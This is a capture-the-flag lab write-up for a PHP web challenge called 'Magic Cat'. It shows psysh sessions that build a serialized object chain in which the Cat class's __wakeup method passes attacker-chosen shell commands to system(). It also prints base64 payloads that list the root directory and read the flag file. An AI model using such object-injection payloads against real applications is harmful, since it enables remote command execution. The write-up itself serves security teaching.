Simple Web 0x18(Lab - Magic Cat)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:8602/
Source code
:::spoiler code
1 |
|
Description & Analyze
Exploit - unserialize
- Test payload in local side
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18$ ./psysh > class Caster . { . public $cast_func = 'intval'; . function cast($val) . { . return ($this->cast_func)($val); . } . } > $test = new Caster = Caster {#2772 +cast_func: "intval", } > $test->cast_func = 'system' = "system" > $test->cast('pwd') = "/home/sbk6401" - Construct serialized session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26> class Cat . { . public $magic; . public $spell; . function __construct($spell) . { . $this->spell = $spell; . $this->magic = new Caster(); . } . function __wakeup() . { . echo "Cat Wakeup!\n"; . $this->magic->cast($this->spell); . } . } > $cat = new Cat("ls -al /") = Cat {#2771 +magic: Caster {#2763 +cast_func: "intval", }, +spell: "ls -al /", } > $cat->magic->cast_func = "system" = "system" > base64_encode(serialize($cat)) = "TzozOiJDYXQiOjI6e3M6NToibWFnaWMiO086NjoiQ2FzdGVyIjoxOntzOjk6ImNhc3RfZnVuYyI7czo2OiJzeXN0ZW0iO31zOjU6InNwZWxsIjtzOjg6ImxzIC1hbCAvIjt9"
- Get flag
1
2
3
4
5> $cat->spell = "cat /flag*" = "cat /flag*" > base64_encode(serialize($cat)) = "TzozOiJDYXQiOjI6e3M6NToibWFnaWMiO086NjoiQ2FzdGVyIjoxOntzOjk6ImNhc3RfZnVuYyI7czo2OiJzeXN0ZW0iO31zOjU6InNwZWxsIjtzOjEwOiJjYXQgL2ZsYWcqIjt9"
Flag: FLAG{magic_cat_pwnpwn}